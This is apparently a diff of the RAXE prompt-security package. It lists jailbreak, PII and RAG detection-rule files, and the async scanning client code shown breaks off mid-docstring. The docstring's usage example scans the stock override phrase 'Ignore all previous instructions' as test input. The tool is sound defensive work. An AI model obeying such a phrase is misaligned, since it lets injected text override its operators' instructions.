- raxe/packs/core/v1.0.0/rules/hc/hc-156@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/hc/hc-157@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/hc/hc-158@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/hc/hc-159@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/hc/hc-160@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/hc/hc-161@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-001@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-009@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-020@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-021@1.0.0.yaml +46 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-022@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-028@1.0.0.yaml +43 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-033@1.0.0.yaml +46 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-034@1.0.0.yaml +46 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-036@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-039@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-056@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-066@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-076@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-098@1.0.0.yaml +46 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-103@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-104@1.0.0.yaml +52 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-105@1.0.0.yaml +56 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-110@1.0.0.yaml +56 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-111@1.0.0.yaml +57 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-112@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-113@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-114@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-115@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-116@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-117@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-118@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-119@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-120@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-121@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-122@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-123@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-124@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-125@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-126@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-127@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-128@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-129@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-130@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-131@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-132@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-133@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-134@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-135@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-136@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-137@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-138@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-139@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-140@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-141@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-142@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-143@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-144@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-145@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-146@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-147@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-148@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-149@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-150@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-151@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-152@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-153@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-154@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-155@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-156@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-157@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-158@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-159@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-160@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-161@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-162@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-201@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-202@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-203@1.0.0.yaml +51 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-204@1.0.0.yaml +50 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-205@1.0.0.yaml +50 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-206@1.0.0.yaml +50 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-207@1.0.0.yaml +49 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-001@1.0.0.yaml +48 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-009@1.0.0.yaml +48 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-012@1.0.0.yaml +48 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-017@1.0.0.yaml +48 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-022@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-025@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-027@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-028@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-034@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-037@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-040@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-041@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-044@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-050@1.0.0.yaml +57 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-051@1.0.0.yaml +53 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-052@1.0.0.yaml +52 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-053@1.0.0.yaml +56 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-054@1.0.0.yaml +53 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-055@1.0.0.yaml +51 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-056@1.0.0.yaml +51 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-058@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2015@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2025@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2026@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2035@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2037@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2042@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3001@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3002@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3003@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3004@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3005@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3006@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3007@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3008@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3009@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3010@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3011@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3012@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3013@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3014@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3015@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3016@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3017@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3018@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3019@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3020@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3021@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3022@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3023@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3024@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3025@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3026@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3027@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3028@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3029@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3030@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3031@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3032@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3033@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3034@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3035@1.0.0.yaml +43 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3036@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3037@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3038@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3039@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3040@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3041@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3042@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3043@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3044@1.0.0.yaml +43 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3045@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3046@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3047@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3048@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3049@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3050@1.0.0.yaml +44 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3051@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3052@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3053@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3054@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3055@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3056@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3057@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3058@1.0.0.yaml +43 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3059@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3060@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3061@1.0.0.yaml +50 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3062@1.0.0.yaml +50 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3063@1.0.0.yaml +54 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3064@1.0.0.yaml +78 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3065@1.0.0.yaml +84 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3066@1.0.0.yaml +84 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3067@1.0.0.yaml +88 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3068@1.0.0.yaml +94 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3069@1.0.0.yaml +90 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3070@1.0.0.yaml +99 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3071@1.0.0.yaml +91 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3072@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3073@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3074@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3075@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3076@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3077@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3078@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3079@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3080@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3081@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3082@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3083@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3084@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3085@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-016@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-028@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-042@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-044@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-045@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-050@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-201@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-202@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-3001@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-3006@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-3009@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-3012@1.0.0.yaml +41 -0
- raxe/plugins/__init__.py +98 -0
- raxe/plugins/custom_rules.py +380 -0
- raxe/plugins/loader.py +389 -0
- raxe/plugins/manager.py +538 -0
- raxe/plugins/protocol.py +428 -0
- raxe/py.typed +0 -0
- raxe/sdk/__init__.py +77 -0
- raxe/sdk/agent_scanner.py +1918 -0
- raxe/sdk/client.py +1603 -0
- raxe/sdk/decorator.py +175 -0
- raxe/sdk/exceptions.py +859 -0
- raxe/sdk/integrations/__init__.py +277 -0
- raxe/sdk/integrations/agent_scanner.py +71 -0
- raxe/sdk/integrations/autogen.py +872 -0
- raxe/sdk/integrations/crewai.py +1368 -0
- raxe/sdk/integrations/dspy.py +845 -0
- raxe/sdk/integrations/extractors.py +363 -0
- raxe/sdk/integrations/huggingface.py +395 -0
- raxe/sdk/integrations/langchain.py +948 -0
- raxe/sdk/integrations/litellm.py +484 -0
- raxe/sdk/integrations/llamaindex.py +1049 -0
- raxe/sdk/integrations/portkey.py +831 -0
- raxe/sdk/suppression_context.py +215 -0
- raxe/sdk/wrappers/__init__.py +163 -0
- raxe/sdk/wrappers/anthropic.py +310 -0
- raxe/sdk/wrappers/openai.py +221 -0
- raxe/sdk/wrappers/vertexai.py +484 -0
- raxe/utils/__init__.py +12 -0
- raxe/utils/error_sanitizer.py +135 -0
- raxe/utils/logging.py +241 -0
- raxe/utils/performance.py +414 -0
- raxe/utils/profiler.py +339 -0
- raxe/utils/validators.py +170 -0
- raxe-0.4.6.dist-info/METADATA +471 -0
- raxe-0.4.6.dist-info/RECORD +668 -0
- raxe-0.4.6.dist-info/WHEEL +5 -0
- raxe-0.4.6.dist-info/entry_points.txt +2 -0
- raxe-0.4.6.dist-info/licenses/LICENSE +56 -0
- raxe-0.4.6.dist-info/top_level.txt +1 -0
raxe/async_sdk/client.py
ADDED
|
@@ -0,0 +1,556 @@
|
|
|
1
|
+
"""Async RAXE client - High-throughput async SDK.
|
|
2
|
+
|
|
3
|
+
This module provides an async version of the Raxe client for high-throughput
|
|
4
|
+
use cases (>1000 req/sec).
|
|
5
|
+
|
|
6
|
+
Key features:
|
|
7
|
+
- Async/await API mirroring sync Raxe
|
|
8
|
+
- LRU cache for performance (rules + results)
|
|
9
|
+
- Batch scanning with concurrency control
|
|
10
|
+
- Async context manager support
|
|
11
|
+
- Privacy-preserving telemetry (same as sync client)
|
|
12
|
+
|
|
13
|
+
Performance targets:
|
|
14
|
+
- Throughput: >1000 req/sec
|
|
15
|
+
- Cache hit rate: >80%
|
|
16
|
+
- P95 latency: <10ms (same as sync)
|
|
17
|
+
|
|
18
|
+
Example usage:
|
|
19
|
+
# Basic usage
|
|
20
|
+
async with AsyncRaxe() as raxe:
|
|
21
|
+
result = await raxe.scan("test prompt")
|
|
22
|
+
|
|
23
|
+
# Batch scanning
|
|
24
|
+
raxe = AsyncRaxe(cache_size=1000)
|
|
25
|
+
results = await raxe.scan_batch(prompts, max_concurrency=100)
|
|
26
|
+
|
|
27
|
+
# With caching
|
|
28
|
+
result1 = await raxe.scan("test") # Cache miss
|
|
29
|
+
result2 = await raxe.scan("test") # Cache hit (fast)
|
|
30
|
+
"""
|
|
31
|
+
import asyncio
|
|
32
|
+
import logging
|
|
33
|
+
from pathlib import Path
|
|
34
|
+
from typing import Any
|
|
35
|
+
|
|
36
|
+
from raxe.application.preloader import preload_pipeline
|
|
37
|
+
from raxe.application.scan_pipeline import ScanPipelineResult
|
|
38
|
+
from raxe.application.telemetry_orchestrator import get_orchestrator
|
|
39
|
+
from raxe.async_sdk.cache import ScanResultCache
|
|
40
|
+
from raxe.infrastructure.config.scan_config import ScanConfig
|
|
41
|
+
|
|
42
|
+
logger = logging.getLogger(__name__)
|
|
43
|
+
|
|
44
|
+
|
|
45
|
+
class AsyncRaxe:
|
|
46
|
+
"""Async RAXE client for high-throughput scanning.
|
|
47
|
+
|
|
48
|
+
Mirrors the synchronous Raxe API but with async/await support.
|
|
49
|
+
Adds caching for improved performance on repeated scans.
|
|
50
|
+
|
|
51
|
+
The client handles:
|
|
52
|
+
- Async scanning operations
|
|
53
|
+
- LRU caching of scan results
|
|
54
|
+
- Batch scanning with concurrency control
|
|
55
|
+
- Context manager support
|
|
56
|
+
|
|
57
|
+
Usage:
|
|
58
|
+
# With context manager
|
|
59
|
+
async with AsyncRaxe(api_key="...", cache_size=1000) as raxe:
|
|
60
|
+
result = await raxe.scan("Ignore all previous instructions")
|
|
61
|
+
|
|
62
|
+
# Without context manager
|
|
63
|
+
raxe = AsyncRaxe()
|
|
64
|
+
result = await raxe.scan("test")
|
|
65
|
+
await raxe.close()
|
|
66
|
+
|
|
67
|
+
# Batch scanning
|
|
68
|
+
results = await raxe.scan_batch(
|
|
69
|
+
["prompt1", "prompt2", "prompt3"],
|
|
70
|
+
max_concurrency=10
|
|
71
|
+
)
|
|
72
|
+
|
|
73
|
+
Performance:
|
|
74
|
+
- Initialization: <500ms (one-time, same as sync)
|
|
75
|
+
- Scanning (cache miss): <10ms per call
|
|
76
|
+
- Scanning (cache hit): <1ms per call
|
|
77
|
+
- Throughput: >1000 req/sec with caching
|
|
78
|
+
"""
|
|
79
|
+
|
|
80
|
+
def __init__(
|
|
81
|
+
self,
|
|
82
|
+
*,
|
|
83
|
+
api_key: str | None = None,
|
|
84
|
+
config_path: Path | None = None,
|
|
85
|
+
telemetry: bool = True,
|
|
86
|
+
l2_enabled: bool = True,
|
|
87
|
+
voting_preset: str | None = None,
|
|
88
|
+
cache_size: int = 1000,
|
|
89
|
+
cache_ttl: float = 300.0,
|
|
90
|
+
**kwargs: Any
|
|
91
|
+
):
|
|
92
|
+
"""Initialize async RAXE client.
|
|
93
|
+
|
|
94
|
+
Args:
|
|
95
|
+
api_key: Optional API key for cloud features
|
|
96
|
+
config_path: Path to config file (overrides default search)
|
|
97
|
+
telemetry: Enable privacy-preserving telemetry (default: True)
|
|
98
|
+
l2_enabled: Enable L2 ML detection (default: True)
|
|
99
|
+
voting_preset: L2 voting preset (balanced, high_security, low_fp)
|
|
100
|
+
cache_size: LRU cache size (default: 1000 entries)
|
|
101
|
+
cache_ttl: Cache TTL in seconds (default: 300 = 5 minutes)
|
|
102
|
+
**kwargs: Additional config options passed to ScanConfig
|
|
103
|
+
|
|
104
|
+
Raises:
|
|
105
|
+
Exception: If critical components fail to load
|
|
106
|
+
"""
|
|
107
|
+
# Build configuration (same as sync client)
|
|
108
|
+
if config_path and config_path.exists():
|
|
109
|
+
self.config = ScanConfig.from_file(config_path)
|
|
110
|
+
else:
|
|
111
|
+
self.config = ScanConfig()
|
|
112
|
+
|
|
113
|
+
# Apply explicit overrides
|
|
114
|
+
if api_key is not None:
|
|
115
|
+
self.config.api_key = api_key
|
|
116
|
+
self.config.telemetry.enabled = telemetry
|
|
117
|
+
self.config.enable_l2 = l2_enabled
|
|
118
|
+
|
|
119
|
+
# Store voting preset for L2 detector initialization
|
|
120
|
+
self._voting_preset = voting_preset
|
|
121
|
+
|
|
122
|
+
# Initialize cache (skip if cache_size is 0)
|
|
123
|
+
if cache_size > 0:
|
|
124
|
+
self._cache = ScanResultCache(maxsize=cache_size, ttl=cache_ttl)
|
|
125
|
+
self._cache_enabled = True
|
|
126
|
+
else:
|
|
127
|
+
self._cache = None # type: ignore
|
|
128
|
+
self._cache_enabled = False
|
|
129
|
+
|
|
130
|
+
# Preload pipeline (same as sync - this is CPU-bound, not I/O-bound)
|
|
131
|
+
logger.info("Initializing async RAXE client")
|
|
132
|
+
try:
|
|
133
|
+
# Note: preload_pipeline is synchronous but that's fine for init
|
|
134
|
+
self.pipeline, self.preload_stats = preload_pipeline(
|
|
135
|
+
config=self.config,
|
|
136
|
+
voting_preset=self._voting_preset,
|
|
137
|
+
)
|
|
138
|
+
self._initialized = True
|
|
139
|
+
|
|
140
|
+
# Flush any stale telemetry from previous sessions (non-blocking)
|
|
141
|
+
# This recovers events that were queued but not flushed due to
|
|
142
|
+
# crashes, SIGKILL, or SDK usage without proper cleanup
|
|
143
|
+
try:
|
|
144
|
+
from raxe.infrastructure.telemetry.flush_helper import (
|
|
145
|
+
flush_stale_telemetry_async,
|
|
146
|
+
)
|
|
147
|
+
flush_stale_telemetry_async()
|
|
148
|
+
except Exception:
|
|
149
|
+
pass # Never block on stale flush
|
|
150
|
+
|
|
151
|
+
logger.info(
|
|
152
|
+
f"Async RAXE client initialized: {self.preload_stats.rules_loaded} rules loaded"
|
|
153
|
+
)
|
|
154
|
+
except Exception as e:
|
|
155
|
+
logger.error(f"Failed to initialize async RAXE client: {e}")
|
|
156
|
+
raise
|
|
157
|
+
|
|
158
|
+
@classmethod
|
|
159
|
+
def from_config_file(cls, path: Path) -> "AsyncRaxe":
|
|
160
|
+
"""Create AsyncRaxe client from config file.
|
|
161
|
+
|
|
162
|
+
Args:
|
|
163
|
+
path: Path to .raxe/config.yaml
|
|
164
|
+
|
|
165
|
+
Returns:
|
|
166
|
+
Configured AsyncRaxe instance
|
|
167
|
+
|
|
168
|
+
Example:
|
|
169
|
+
raxe = AsyncRaxe.from_config_file(Path.home() / ".raxe" / "config.yaml")
|
|
170
|
+
result = await raxe.scan("test")
|
|
171
|
+
"""
|
|
172
|
+
instance = cls.__new__(cls)
|
|
173
|
+
|
|
174
|
+
# Load configuration from file
|
|
175
|
+
instance.config = ScanConfig.from_file(path)
|
|
176
|
+
|
|
177
|
+
# Initialize cache with defaults
|
|
178
|
+
cache_size = 1000
|
|
179
|
+
if cache_size > 0:
|
|
180
|
+
instance._cache = ScanResultCache(maxsize=cache_size, ttl=300.0)
|
|
181
|
+
instance._cache_enabled = True
|
|
182
|
+
else:
|
|
183
|
+
instance._cache = None # type: ignore
|
|
184
|
+
instance._cache_enabled = False
|
|
185
|
+
|
|
186
|
+
# Get voting preset from config (L2 voting config)
|
|
187
|
+
instance._voting_preset = None
|
|
188
|
+
if hasattr(instance.config, 'l2_scoring') and instance.config.l2_scoring:
|
|
189
|
+
instance._voting_preset = getattr(instance.config.l2_scoring, 'voting_preset', None)
|
|
190
|
+
|
|
191
|
+
# Preload pipeline
|
|
192
|
+
logger.info("Initializing async RAXE client from config file")
|
|
193
|
+
try:
|
|
194
|
+
instance.pipeline, instance.preload_stats = preload_pipeline(
|
|
195
|
+
config=instance.config,
|
|
196
|
+
voting_preset=instance._voting_preset,
|
|
197
|
+
)
|
|
198
|
+
instance._initialized = True
|
|
199
|
+
logger.info(
|
|
200
|
+
f"Async RAXE client initialized: {instance.preload_stats.rules_loaded} rules loaded"
|
|
201
|
+
)
|
|
202
|
+
except Exception as e:
|
|
203
|
+
logger.error(f"Failed to initialize async RAXE client: {e}")
|
|
204
|
+
raise
|
|
205
|
+
|
|
206
|
+
return instance
|
|
207
|
+
|
|
208
|
+
async def scan(
|
|
209
|
+
self,
|
|
210
|
+
text: str,
|
|
211
|
+
*,
|
|
212
|
+
customer_id: str | None = None,
|
|
213
|
+
context: dict[str, object] | None = None,
|
|
214
|
+
block_on_threat: bool = False,
|
|
215
|
+
use_cache: bool = True,
|
|
216
|
+
) -> ScanPipelineResult:
|
|
217
|
+
"""Scan text for security threats (async).
|
|
218
|
+
|
|
219
|
+
Args:
|
|
220
|
+
text: Text to scan (prompt or response)
|
|
221
|
+
customer_id: Optional customer ID for policy evaluation
|
|
222
|
+
context: Optional context metadata for the scan
|
|
223
|
+
block_on_threat: Raise SecurityException if threat detected (default: False)
|
|
224
|
+
use_cache: Use cached result if available (default: True)
|
|
225
|
+
|
|
226
|
+
Returns:
|
|
227
|
+
ScanPipelineResult with detections and policy decision
|
|
228
|
+
|
|
229
|
+
Raises:
|
|
230
|
+
SecurityException: If block_on_threat=True and threat detected
|
|
231
|
+
ValueError: If text is empty or invalid
|
|
232
|
+
|
|
233
|
+
Example:
|
|
234
|
+
# Basic scan
|
|
235
|
+
result = await raxe.scan("Hello world")
|
|
236
|
+
print(f"Safe: {not result.has_threats}")
|
|
237
|
+
